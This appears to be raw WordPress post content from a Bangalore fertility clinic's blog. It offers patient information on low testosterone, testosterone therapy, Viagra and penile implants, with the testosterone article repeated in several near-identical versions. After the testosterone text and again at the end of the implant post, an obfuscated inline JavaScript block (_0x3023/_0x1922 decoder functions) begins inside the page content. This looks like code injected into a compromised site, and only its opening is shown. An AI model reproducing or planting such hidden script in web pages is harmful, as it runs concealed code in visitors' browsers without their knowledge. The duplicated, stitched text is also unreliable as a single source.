erectile function if there are <u>underlying causes</u> of that condition, such as diabetes or heart disease.\r\n\r\nTestosterone therapy can be administered in several ways:\r\n<ul>\r\n 	<li><u>Gels:</u> Most men choose this option. A testosterone gel is applied to the skin daily, usually on the upper arm or shoulder. Men using a gel should wash their hands thoroughly after applying it. They should also be careful to cover the area and make sure that the gel does not rub off on another person’s skin.</li>\r\n</ul>\r\n<img class=\" wp-image-326 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW5-300x155.jpg\" alt=\"\" width=\"604\" height=\"312\" />\r\n\r\n<!--more-->\r\n\r\nTestosterone gel application\r\n<ul>\r\n 	<li><u>Patches:</u> Testosterone patches stick to the skin on a man’s upper arm, back, stomach, or thigh. Used daily, patches should be rotated to different areas so that the same spot isn’t used more than once every seven days.</li>\r\n 	<li><u>Injections:</u> Testosterone shots can be administered by a doctor or by the man himself. They are usually needed every one to three weeks, though longer-acting preparations may be used every 3 months.</li>\r\n</ul>\r\nDepending on the treatment method, testosterone levels may remain constant throughout the day or they may rise in the morning and decrease in the evening, as is typical in the body.\r\n\r\nA man’s doctor can help him decide which method is best for him.\r\n\r\nMen should not take testosterone if their levels are normal or if they haven’t been tested. The diagnosis of low testosterone should always be made by a qualified healthcare provider.\r\n\r\n<strong>Follow-up?</strong>\r\n\r\nFollowing up with a Andrologist/Urologist is important for men on testosterone therapy. Generally, these men should have their <u>testosterone levels checked every 3-4 months during the first year. </u>This can be done with a simple blood test.\r\n\r\nThe best time of day for the blood test <u>depends on the type of therapy</u> being used. For men using a patch, testosterone levels tend to be highest about four to eight hours after application. However, men using gels can usually have their levels checked at any time, since this delivery system tends to keep levels constant throughout the day.\r\n\r\nIt’s also recommended that men on testosterone therapy periodically have <u>digital rectal exams and PSA</u> (prostate-specific antigen) tests to keep an eye on their prostate health.\r\n\r\nBecause testosterone therapy can increase red blood cell counts, men should also have their <u>hemoglobin levels</u> checked regularly.\r\n\r\n<strong>Side effects of Testosterone therapy:</strong>\r\n\r\nLike any treatment, testosterone can have <a href=\"http://www.issm.info/sexual-health-qa/what-are-some-of-the-side-effects-and-risks-of-testosterone-therapy/\">risks and side effects</a>.\r\n\r\nSome of the more common side effects of testosterone therapy include the following:\r\n<ul>\r\n 	<li>Itching and irritation. This may occur wherever a testosterone patch or gel is applied. It tends to be less common for gel users.</li>\r\n 	<li>Increase in body hair</li>\r\n 	<li>Hot flashes</li>\r\n 	<li>Changes in cholesterol levels</li>\r\n 	<li>Changes in red blood cell counts</li>\r\n 	<li>Weight gain- due to salt and water retention (not fat accumulation)</li>\r\n 	<li>Acne and/or oily skin. This side effect usually ends when a man stops taking testosterone.</li>\r\n</ul>\r\n&nbsp;\r\n\r\n<u>Testosterone therapy also lowers sperm counts, so it is generally not recommended for men with fertility concerns.</u>\r\n\r\nAlthough no conclusive evidence exists, testosterone therapy is suspected to spur the growth of prostate cells and prostate cancer cells. Men with prostate cancer are usually advised against testosterone therapy. Men should be screened for prostate cancer before starting treatment.\r\n\r\nTo avoid transferring testosterone to another person, <u>men using the gel should wash their hands immediately after applying it. Before sex, they should shower or cover the application site so the gel doesn’t transfer to the partner</u>. For example, since men usually apply the gel to the shoulders, upper arms, or abdomen, some men wear a shirt during sex.\r\n\r\n<strong>Reluctance to discuss sexual problems?</strong>\r\n\r\nSome men are reluctant to discuss their symptoms with a doctor, especially if they are having trouble performing sexually. In some cases, men buy <u>over-the-counter testosterone products</u> online or in stores. But this <u>practice is risky</u>, as some products contain other ingredients that can interact with drugs a man is already taking. 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</strong></h2>\nTestosterone is an important hormone for men. Produced by the testes, the hormone gives men many of their masculine characteristics, like facial hair and a deeper voice. It is involved with sperm production and sex drive. It also contributes to strength, bones, and muscle mass.\n\nLow testosterone, also called hypogonadism, occurs when a man’s body doesn’t produce adequate amounts of the hormone.\n\n<!--more-->\n\nHypogonadism can happen if there is a problem with the hypothalamus or pituitary gland (two areas of the brain that help trigger the production of testosterone) or with the testes themselves. For example, men who have both testes removed during treatment for testicular cancer would no longer produce enough testosterone.\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>What is Andropause?</strong></h2>\nThe normal course of aging can also cause men’s testosterone levels to decline. This process is sometimes called “<strong>andropause</strong>,” as a comparison to female menopause. However, the drop in testosterone is much more gradual for men than the drop in estrogen that women experience. Generally, men’s testosterone levels start to decrease by about 1% each year around age 30.\n\nThe Urology Care Foundation estimates that 4 out of 10 men over age 45 have low testosterone levels.\n\nLow testosterone has also been linked to diabetes, high blood pressure, high cholesterol, obesity, HIV infection, AIDS, and long-term opioid use.\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>What are the symptoms?</strong></h2>\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Common symptoms of low testosterone include the following:</strong></h2>\n<ul>\n 	<li>Reduced sex drive, less interest in sex</li>\n 	<li><a href=\"https://www.nufertility.com/blog/erectile-dysfunction-ed/\" target=\"_blank\" rel=\"noopener\"><strong>Erectile dysfunction</strong></a> (weaker erections or trouble getting an erection)</li>\n 	<li>Decreased muscle mass</li>\n 	<li>Mood swings and/or depressed mood</li>\n 	<li>Fatigue</li>\n 	<li>Enlarged male breasts</li>\n 	<li>Anemia</li>\n 	<li>Loss of calcium from bones</li>\n</ul>\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>How is it diagnosed?</strong></h2>\nLow testosterone is diagnosed with a blood test. A man’s testosterone levels fluctuate throughout the day, but they are usually highest in the morning. Many doctors prefer to test at that time (7am-10am). In general, a man is diagnosed with low testosterone if his level is below 300 ng/dL.\n\nSometimes, a distinction is made between bound, free, and total testosterone. About 98% of testosterone in the body is bound. This means it is attached to proteins – albumin and sex hormone binding globulin (SHBG) - that help it travel through the bloodstream. The rest is considered free. It is not attached to any proteins. Usually, free testosterone is the type connected with <a href=\"https://www.nufertility.com/male-infertility-evaluation-and-treatment\" target=\"_blank\" rel=\"noopener\"><strong>sexual problems</strong></a>.\n\nMost of the time, doctors check total testosterone, the combination of bound and free taken together. This measurement is used to diagnose hypogonadism.\n\nA doctor might also check levels of luteinizing hormone (LH) and follicle-stimulating hormone (FSH) since these hormones work with the testes.\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>How is low testosterone treated - Testosterone th</strong><strong>erapy:</strong></h2>\nMany men diagnosed with hypogonadism find that testosterone therapy helps <strong><a href=\"https://www.issm.info/sexual-health-qa/what-are-the-benefits-of-testosterone-therapy/\" target=\"_blank\" rel=\"noopener\">recover their sex drive and improve their mood</a></strong>. However, it may not help with erectile function if there are underlying causes of that condition, such as diabetes or heart disease.\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Testosterone therapy can be administered in several ways:</strong></h2>\n<ul>\n 	<li><strong>Gels:</strong> Most men choose this option. A testosterone gel is applied to the skin daily, usually on the upper arm or shoulder. Men using a gel should wash their hands thoroughly after applying it. They should also be careful to cover the area and make sure that the gel does not rub off on another person’s skin.</li>\n</ul>\n<img class=\" wp-image-326 aligncenter\" title=\"Testosterone Therapy\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW5-300x155.jpg\" alt=\"Testosterone Therapy\" width=\"604\" height=\"312\" />\n\nTestosterone gel application\n<ul>\n 	<li><strong>Patches:</strong> Testosterone patches stick to the skin on a man’s upper arm, back, stomach, or thigh. Used daily, patches should be rotated to different areas so that the same spot isn’t used more than once every seven days.</li>\n 	<li><strong>Injections:</strong> Testosterone shots can be administered by a doctor or by the man himself. They are usually needed every one to three weeks, though longer-acting preparations may be used every 3 months.</li>\n</ul>\nDepending on the treatment method, testosterone levels may remain constant throughout the day or they may rise in the morning and decrease in the evening, as is typical in the body.\n\nA man’s doctor can help him decide which method is best for him.\n\nMen should not take testosterone if their levels are normal or if they haven’t been tested. The diagnosis of low testosterone should always be made by a qualified healthcare provider.\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Follow-up?</strong></h2>\nFollowing up with an <strong><a href=\"https://www.nufertility.com/dr-pramod-krishnappa-andrologist\" target=\"_blank\" rel=\"noopener\">Andrologist/Urologist</a></strong> is important for men on testosterone therapy. Generally, these men should have their testosterone levels checked every 3-4 months during the first year. This can be done with a simple blood test.\n\nThe best time of day for the blood test depends on the type of therapy being used. For men using a patch, testosterone levels tend to be highest about four to eight hours after application. However, men using gels can usually have their levels checked at any time since this delivery system tends to keep levels constant throughout the day.\n\nIt’s also recommended that men on testosterone therapy periodically have digital rectal exams and PSA (prostate-specific antigen) tests to keep an eye on their prostate health.\n\nBecause testosterone therapy can increase red blood cell counts, men should also have their hemoglobin levels checked regularly.\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Side effects of Testosterone therapy:</strong></h2>\nLike any treatment, testosterone can have<strong> <a href=\"https://www.issm.info/sexual-health-qa/what-are-some-of-the-side-effects-and-risks-of-testosterone-therapy/\" target=\"_blank\" rel=\"noopener\">risks and side effects</a></strong>.\n\n<strong>Some of the more common side effects of testosterone therapy include the following:</strong>\n<ul>\n 	<li>Itching and irritation. This may occur wherever a testosterone patch or gel is applied. It tends to be less common for gel users.</li>\n 	<li>Increase in body hair</li>\n 	<li>Hot flashes</li>\n 	<li>Changes in cholesterol levels</li>\n 	<li>Changes in red blood cell counts</li>\n 	<li>Weight gain- due to salt and water retention (not fat accumulation)</li>\n 	<li>Acne and/or oily skin. This side effect usually ends when a man stops taking testosterone.</li>\n</ul>\nTestosterone therapy also lowers sperm counts, so it is generally not recommended for men with fertility concerns.\n\nAlthough no conclusive evidence exists, testosterone therapy is suspected to spur the growth of prostate cells and prostate cancer cells. Men with prostate cancer are usually advised against testosterone therapy. Men should be screened for prostate cancer before starting treatment.\n\nTo avoid transferring testosterone to another person, men using the gel should wash their hands immediately after applying it. Before sex, they should shower or cover the application site so the gel doesn’t transfer to the partner. For example, since men usually apply the gel to the shoulders, upper arms, or abdomen, some men wear a shirt during sex.\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Reluctance to discuss sexual problems?</strong></h2>\nSome men are reluctant to discuss their symptoms with a doctor, especially if they are having trouble performing sexually. In some cases, men buy over-the-counter testosterone products online or in stores. But this practice is risky, as some products contain other ingredients that can interact with drugs a man is already taking. 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testes,</u> the hormone gives men many of their masculine characteristics, like facial hair and a deeper voice. <u>It is involved with sperm production and sex drive.</u> It also contributes to strength, bones, and muscle mass.\r\n\r\n<img class=\"wp-image-325 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW4-300x155.jpg\" alt=\"\" width=\"629\" height=\"325\" />\r\n\r\nLow testosterone, also called hypogonadism, occurs when a man’s body doesn’t produce adequate amounts of the hormone.\r\n\r\n<!--more-->\r\n\r\nHypogonadism can happen if there is a problem with the hypothalamus or pituitary gland (two areas of the brain that help trigger the production of testosterone) or with the testes themselves. For example, men who have both testes removed during treatment for testicular cancer would no longer produce enough testosterone.\r\n\r\n&nbsp;\r\n\r\n<strong>Andropause?</strong>\r\n\r\nThe normal course of aging can also cause men’s testosterone levels to decline. This process is sometimes called “<strong>andropause</strong>,” as a comparison to female menopause. However, the drop in testosterone is much more gradual for men than the drop in estrogen that women experience. Generally, men’s testosterone levels start to decrease about 1% each year around age 30.\r\n\r\nThe Urology Care Foundation estimates that <u>4 out of 10 men over age 45 have low testosterone levels</u>.\r\n\r\nLow testosterone has also been linked to diabetes, high blood pressure, high cholesterol, obesity, HIV infection, AIDS, and long-term opioid use.\r\n\r\n&nbsp;\r\n\r\n<strong>What are the symptoms?</strong>\r\n\r\nCommon symptoms of low testosterone include the following:\r\n<ul>\r\n 	<li>Reduced sex drive, less interest in sex</li>\r\n 	<li>Erectile dysfunction (weaker erections or trouble getting an erection)</li>\r\n 	<li>Decreased muscle mass</li>\r\n 	<li>Mood swings and/or depressed mood</li>\r\n 	<li>Fatigue</li>\r\n 	<li>Enlarged male breasts</li>\r\n 	<li>Anemia</li>\r\n 	<li>Loss of calcium from bones</li>\r\n</ul>\r\n<strong>How is it diagnosed?</strong>\r\n\r\nLow testosterone is diagnosed with a <u>blood test</u>. A man’s testosterone levels fluctuate throughout the day, but they are usually highest in the morning. Many doctors prefer to test at that time <u>(7am-10am).</u> In general, a man is diagnosed with low testosterone if his level is <u>below 300 ng/dL.</u>\r\n\r\nSometimes, a distinction is made between bound, free, and total testosterone. About 98% of testosterone in the body is bound. This means it is attached to proteins – albumin and sex hormone binding globulin (SHBG) - that help it travel through the bloodstream. The rest is considered free. It is not attached to any proteins. Usually, free testosterone is the type connected with sexual problems.\r\n\r\nMost of the time, doctors check total testosterone, the combination of bound and free taken together. This measurement is used to diagnose hypogonadism.\r\n\r\nA doctor might also check levels of <u>luteinizing hormone (LH) and follicle-stimulating hormone (FSH)</u>, since these hormones work with the testes.\r\n\r\n<strong>How is low testosterone treated? Testosterone th</strong>\r\n\r\n<strong>erapy.</strong>\r\n\r\nMany men diagnosed with hypogonadism find that testosterone therapy helps <a href=\"http://www.issm.info/sexual-health-qa/what-are-the-benefits-of-testosterone-therapy/\">recover their sex drive and improve their mood</a>. However, it may not help with erectile function if there are <u>underlying causes</u> of that condition, such as diabetes or heart disease.\r\n\r\nTestosterone therapy can be administered in several ways:\r\n<ul>\r\n 	<li><u>Gels:</u> Most men choose this option. A testosterone gel is applied to the skin daily, usually on the upper arm or shoulder. Men using a gel should wash their hands thoroughly after applying it. They should also be careful to cover the area and make sure that the gel does not rub off on another person’s skin.</li>\r\n</ul>\r\n<img class=\" wp-image-326 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW5-300x155.jpg\" alt=\"\" width=\"604\" height=\"312\" />\r\n\r\nTestosterone gel application\r\n<ul>\r\n 	<li><u>Patches:</u> Testosterone patches stick to the skin on a man’s upper arm, back, stomach, or thigh. Used daily, patches should be rotated to different areas so that the same spot isn’t used more than once every seven days.</li>\r\n 	<li><u>Injections:</u> Testosterone shots can be administered by a doctor or by the man himself. They are usually needed every one to three weeks, though longer-acting preparations may be used every 3 months.</li>\r\n</ul>\r\nDepending on the treatment method, testosterone levels may remain constant throughout the day or they may rise in the morning and decrease in the evening, as is typical in the body.\r\n\r\nA man’s doctor can help him decide which method is best for him.\r\n\r\nMen should not take testosterone if their levels are normal or if they haven’t been tested. The diagnosis of low testosterone should always be made by a qualified healthcare provider.\r\n\r\n<strong>Follow-up?</strong>\r\n\r\nFollowing up with a Andrologist/Urologist is important for men on testosterone therapy. Generally, these men should have their <u>testosterone levels checked every 3-4 months during the first year. </u>This can be done with a simple blood test.\r\n\r\nThe best time of day for the blood test <u>depends on the type of therapy</u> being used. For men using a patch, testosterone levels tend to be highest about four to eight hours after application. However, men using gels can usually have their levels checked at any time, since this delivery system tends to keep levels constant throughout the day.\r\n\r\nIt’s also recommended that men on testosterone therapy periodically have <u>digital rectal exams and PSA</u> (prostate-specific antigen) tests to keep an eye on their prostate health.\r\n\r\nBecause testosterone therapy can increase red blood cell counts, men should also have their <u>hemoglobin levels</u> checked regularly.\r\n\r\n<strong>Side effects of Testosterone therapy:</strong>\r\n\r\nLike any treatment, testosterone can have <a href=\"http://www.issm.info/sexual-health-qa/what-are-some-of-the-side-effects-and-risks-of-testosterone-therapy/\">risks and side effects</a>.\r\n\r\nSome of the more common side effects of testosterone therapy include the following:\r\n<ul>\r\n 	<li>Itching and irritation. This may occur wherever a testosterone patch or gel is applied. It tends to be less common for gel users.</li>\r\n 	<li>Increase in body hair</li>\r\n 	<li>Hot flashes</li>\r\n 	<li>Changes in cholesterol levels</li>\r\n 	<li>Changes in red blood cell counts</li>\r\n 	<li>Weight gain- due to salt and water retention (not fat accumulation)</li>\r\n 	<li>Acne and/or oily skin. This side effect usually ends when a man stops taking testosterone.</li>\r\n</ul>\r\n&nbsp;\r\n\r\n<u>Testosterone therapy also lowers sperm counts, so it is generally not recommended for men with fertility concerns.</u>\r\n\r\nAlthough no conclusive evidence exists, testosterone therapy is suspected to spur the growth of prostate cells and prostate cancer cells. Men with prostate cancer are usually advised against testosterone therapy. Men should be screened for prostate cancer before starting treatment.\r\n\r\nTo avoid transferring testosterone to another person, <u>men using the gel should wash their hands immediately after applying it. Before sex, they should shower or cover the application site so the gel doesn’t transfer to the partner</u>. For example, since men usually apply the gel to the shoulders, upper arms, or abdomen, some men wear a shirt during sex.\r\n\r\n<strong>Reluctance to discuss sexual problems?</strong>\r\n\r\nSome men are reluctant to discuss their symptoms with a doctor, especially if they are having trouble performing sexually. In some cases, men buy <u>over-the-counter testosterone products</u> online or in stores. But this <u>practice is risky</u>, as some products contain other ingredients that can interact with drugs a man is already taking. It is always safest to see a Andrologist/Urologist\r\n\r\nIn spite of the difficulty of discussing sexual symptoms with a doctor or a sex therapist, men who overcome their embarrassment find that receiving proper professional information and sexual counseling may contribute to <u>successful medical treatment by testosterone</u>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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gives men many of their masculine characteristics, like facial hair and a deeper voice. <u>It is involved with sperm production and sex drive.</u> It also contributes to strength, bones, and muscle mass.\r\n\r\n<img class=\"wp-image-325 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW4-300x155.jpg\" alt=\"\" width=\"629\" height=\"325\" />\r\n\r\nLow testosterone, also called hypogonadism, occurs when a man’s body doesn’t produce adequate amounts of the hormone.\r\n\r\n<!--more-->\r\n\r\nHypogonadism can happen if there is a problem with the hypothalamus or pituitary gland (two areas of the brain that help trigger the production of testosterone) or with the testes themselves. For example, men who have both testes removed during treatment for testicular cancer would no longer produce enough testosterone.\r\n\r\n<strong>What is Andropause?</strong>\r\n\r\nThe normal course of aging can also cause men’s testosterone levels to decline. This process is sometimes called “<strong>andropause</strong>,” as a comparison to female menopause. However, the drop in testosterone is much more gradual for men than the drop in estrogen that women experience. Generally, men’s testosterone levels start to decrease about 1% each year around age 30.\r\n\r\nThe Urology Care Foundation estimates that <u>4 out of 10 men over age 45 have low testosterone levels</u>.\r\n\r\nLow testosterone has also been linked to diabetes, high blood pressure, high cholesterol, obesity, HIV infection, AIDS, and long-term opioid use.\r\n\r\n<strong>What are the symptoms?</strong>\r\n\r\nCommon symptoms of low testosterone include the following:\r\n<ul>\r\n 	<li>Reduced sex drive, less interest in sex</li>\r\n 	<li>Erectile dysfunction (weaker erections or trouble getting an erection)</li>\r\n 	<li>Decreased muscle mass</li>\r\n 	<li>Mood swings and/or depressed mood</li>\r\n 	<li>Fatigue</li>\r\n 	<li>Enlarged male breasts</li>\r\n 	<li>Anemia</li>\r\n 	<li>Loss of calcium from bones</li>\r\n</ul>\r\n<strong>How is it diagnosed?</strong>\r\n\r\nLow testosterone is diagnosed with a <u>blood test</u>. A man’s testosterone levels fluctuate throughout the day, but they are usually highest in the morning. Many doctors prefer to test at that time <u>(7am-10am).</u> In general, a man is diagnosed with low testosterone if his level is <u>below 300 ng/dL.</u>\r\n\r\nSometimes, a distinction is made between bound, free, and total testosterone. About 98% of testosterone in the body is bound. This means it is attached to proteins – albumin and sex hormone binding globulin (SHBG) - that help it travel through the bloodstream. The rest is considered free. It is not attached to any proteins. Usually, free testosterone is the type connected with sexual problems.\r\n\r\nMost of the time, doctors check total testosterone, the combination of bound and free taken together. This measurement is used to diagnose hypogonadism.\r\n\r\nA doctor might also check levels of <u>luteinizing hormone (LH) and follicle-stimulating hormone (FSH)</u>, since these hormones work with the testes.\r\n\r\n<strong>How is low testosterone treated - Testosterone th</strong><strong>erapy :</strong>\r\n\r\nMany men diagnosed with hypogonadism find that testosterone therapy helps <a href=\"http://www.issm.info/sexual-health-qa/what-are-the-benefits-of-testosterone-therapy/\">recover their sex drive and improve their mood</a>. However, it may not help with erectile function if there are <u>underlying causes</u> of that condition, such as diabetes or heart disease.\r\n\r\nTestosterone therapy can be administered in several ways:\r\n<ul>\r\n 	<li><u>Gels:</u> Most men choose this option. A testosterone gel is applied to the skin daily, usually on the upper arm or shoulder. Men using a gel should wash their hands thoroughly after applying it. They should also be careful to cover the area and make sure that the gel does not rub off on another person’s skin.</li>\r\n</ul>\r\n<img class=\" wp-image-326 aligncenter\" src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/11/SW5-300x155.jpg\" alt=\"\" width=\"604\" height=\"312\" />\r\n\r\nTestosterone gel application\r\n<ul>\r\n 	<li><u>Patches:</u> Testosterone patches stick to the skin on a man’s upper arm, back, stomach, or thigh. Used daily, patches should be rotated to different areas so that the same spot isn’t used more than once every seven days.</li>\r\n 	<li><u>Injections:</u> Testosterone shots can be administered by a doctor or by the man himself. They are usually needed every one to three weeks, though longer-acting preparations may be used every 3 months.</li>\r\n</ul>\r\nDepending on the treatment method, testosterone levels may remain constant throughout the day or they may rise in the morning and decrease in the evening, as is typical in the body.\r\n\r\nA man’s doctor can help him decide which method is best for him.\r\n\r\nMen should not take testosterone if their levels are normal or if they haven’t been tested. The diagnosis of low testosterone should always be made by a qualified healthcare provider.\r\n\r\n<strong>Follow-up?</strong>\r\n\r\nFollowing up with a Andrologist/Urologist is important for men on testosterone therapy. Generally, these men should have their <u>testosterone levels checked every 3-4 months during the first year. </u>This can be done with a simple blood test.\r\n\r\nThe best time of day for the blood test <u>depends on the type of therapy</u> being used. For men using a patch, testosterone levels tend to be highest about four to eight hours after application. However, men using gels can usually have their levels checked at any time, since this delivery system tends to keep levels constant throughout the day.\r\n\r\nIt’s also recommended that men on testosterone therapy periodically have <u>digital rectal exams and PSA</u> (prostate-specific antigen) tests to keep an eye on their prostate health.\r\n\r\nBecause testosterone therapy can increase red blood cell counts, men should also have their <u>hemoglobin levels</u> checked regularly.\r\n\r\n<strong>Side effects of Testosterone therapy:</strong>\r\n\r\nLike any treatment, testosterone can have <a href=\"http://www.issm.info/sexual-health-qa/what-are-some-of-the-side-effects-and-risks-of-testosterone-therapy/\">risks and side effects</a>.\r\n\r\nSome of the more common side effects of testosterone therapy include the following:\r\n<ul>\r\n 	<li>Itching and irritation. This may occur wherever a testosterone patch or gel is applied. It tends to be less common for gel users.</li>\r\n 	<li>Increase in body hair</li>\r\n 	<li>Hot flashes</li>\r\n 	<li>Changes in cholesterol levels</li>\r\n 	<li>Changes in red blood cell counts</li>\r\n 	<li>Weight gain- due to salt and water retention (not fat accumulation)</li>\r\n 	<li>Acne and/or oily skin. This side effect usually ends when a man stops taking testosterone.</li>\r\n</ul>\r\n<u>Testosterone therapy also lowers sperm counts, so it is generally not recommended for men with fertility concerns.</u>\r\n\r\nAlthough no conclusive evidence exists, testosterone therapy is suspected to spur the growth of prostate cells and prostate cancer cells. Men with prostate cancer are usually advised against testosterone therapy. Men should be screened for prostate cancer before starting treatment.\r\n\r\nTo avoid transferring testosterone to another person, <u>men using the gel should wash their hands immediately after applying it. Before sex, they should shower or cover the application site so the gel doesn’t transfer to the partner</u>. For example, since men usually apply the gel to the shoulders, upper arms, or abdomen, some men wear a shirt during sex.\r\n\r\n<strong>Reluctance to discuss sexual problems?</strong>\r\n\r\nSome men are reluctant to discuss their symptoms with a doctor, especially if they are having trouble performing sexually. In some cases, men buy <u>over-the-counter testosterone products</u> online or in stores. But this <u>practice is risky</u>, as some products contain other ingredients that can interact with drugs a man is already taking. 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a blue pill) sell like hotcakes soon after its launch in 1998 and completed its 20<sup>th</sup> anniversary in 2018. It still continues to be the first line of medical treatment for <strong>a penile erection problem (Erectile Dysfunction)</strong>.\r\n\r\n<strong>Viagra contains</strong> <strong>Sildenafil</strong>, which was initially tested in cardiac trials. It was termed as a “lucky accident” when the nurses in the wards started noticing that these patients’ who received Viagra preferred lying on their tummy with embarrassment to hide their penile erections. It was then more studies were done to establish its role in<span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https://www.nufertility.com/blog/erectile-dysfunction-ed/\"><strong> erectile dysfunction</strong></a> </span><strong>(ED).</strong>\r\n\r\n<!--more-->\r\n\r\nIt has been estimated that in <strong>1995 over 152 million men</strong> worldwide were affected by <strong>ED</strong> and that in<strong> 2025 its</strong> prevalence worldwide will be approximately <strong>322 million men</strong>.\r\n\r\nLike every tablet has<strong> side-effects</strong>, Viagra to has its share. Most common ones being <strong>a severe headache and severe backache</strong>, but very rarely vision changes have been reported. A person who is on <strong>nitrate tablets</strong> or who had a <strong>recent heart attack</strong> should not take Viagra.\r\n\r\nA<strong> Korean study</strong> noted that many had discontinued Viagra when men were told to review <strong>after 6 months</strong>. The reasons for discontinuation were<strong> fear of possible side effects,</strong> postponement of ED treatment because of other coexistent disease treatment, unwillingness to accept <strong>Viagra-dependent erection</strong>, the unacceptability of planned sexual activity and<strong> lack of sexual interest.</strong>\r\n\r\n[caption id=\"attachment_334\" align=\"alignnone\" width=\"1140\"]<img class=\"wp-image-334 size-full\" title=\"Infertility Clinic\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW7.jpg\" alt=\"Infertility Clinic in Bangalore\" width=\"1140\" height=\"589\" /> <strong>Infertility Clinic</strong>[/caption]\r\n\r\n<strong> </strong>\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><span ><strong>Penile implant surgery:</strong></span></h2>\r\n<ul>\r\n 	<li><strong>Penile implant surgery</strong> is an option in those patients who like to avoid side-effects of Viagra or who have had no improvement with Viagra.</li>\r\n 	<li><strong>Penile implants</strong> can also be used to treat other conditions causes scarring inside the penis, leading to curved, painful erections (Peyronie\'s disease).</li>\r\n 	<li><strong> Penile implants</strong> are of two types: Malleable and Inflatable.</li>\r\n</ul>\r\n[caption id=\"attachment_337\" align=\"alignnone\" width=\"1140\"]<img class=\"wp-image-337 size-full\" title=\"Inflatable Penile Implant\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW8.jpg\" alt=\"Inflatable penile implant\" width=\"1140\" height=\"589\" /> <strong>Inflatable Penile Implant</strong>[/caption]\r\n\r\n<strong>Inflatable implants</strong> are the most commonly used. There are three components with the<strong> 3-piece inflatable implant</strong>. The pump in the scrotum has to be pressed to make the penis erect. After the sexual intercourse, the pump is pressed again to make the penis to a normal flaccid position. It creates the most natural rigid erection.\r\n\r\n<strong>With malleable implants</strong>, the penis will always be firm, but it can be bent manually (without a pump) towards the body for concealment inside the innerwear.\r\n\r\n&nbsp;\r\n\r\n[caption id=\"attachment_338\" align=\"alignnone\" width=\"1140\"]<img class=\"wp-image-338 size-full\" title=\"Malleable penile implant\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/11/SW9.jpg\" alt=\"Male Infertility treatment in Bangalore\" width=\"1140\" height=\"589\" /> <strong>Malleable penile implant</strong>[/caption]\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Is age a criterion for penile implant surgery?</strong></h2>\r\n<strong>No.</strong> The average age of a man receiving a penile implant is 65 years old. Men even at 86 years of age have received penile implants and are doing well. The coexistent medical conditions such as Diabetes should be under control.\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Sexual intercourse using penile implants:</strong></h2>\r\nThe person should not engage in sexual activity for <strong>4-6 weeks</strong> after penile implant surgery.\r\n\r\nVarious <strong>American and European studies</strong> have revealed that <strong>90% of patients</strong> are satisfied with penile implants during sexual intercourse.\r\n\r\n<strong>Penile implants</strong> do not interfere with the orgasm or ejaculate. Penile implants will help in the improvement of sexual function by achieving vaginal penetration, an <strong>increase of sexual desire, sexual satisfaction, penis size, and improvement of erectile function.</strong>\r\n<h2 class=\"h2-phone-text\" style=\"width: 100%;\"><strong>Apart from the positive sexual effects,</strong></h2>\r\ni)<strong> psychological factors</strong> such as positive emotions, self-esteem, confidence, enhancement of male identity, major life change, and self-image.\r\n\r\nii) <strong>relationship factors</strong> such as relationship improvement and the possibility of giving pleasure to the partner are also reported.\r\n\r\nComplications are rare but implant infection, erosion and implant malfunction are known.\r\n\r\n<strong>Survival of implants: </strong>The 10-year device survival is between <strong>60-80 percent</strong>.\r\n\r\nOne should have an extensive discussion with the andrologist about the realistic outcomes of penile implant surgery. For a further detailed discussion, you could make an appointment with our<strong><span style=\"color: #0000ff;\"> <a style=\"color: #0000ff;\" href=\"https://www.nufertility.com/dr-pramod-krishnappa-andrologist\" target=\"_blank\" rel=\"noopener\">Andrologist at NU Hospitals, Bangalore</a></span></strong>.<strong> </strong>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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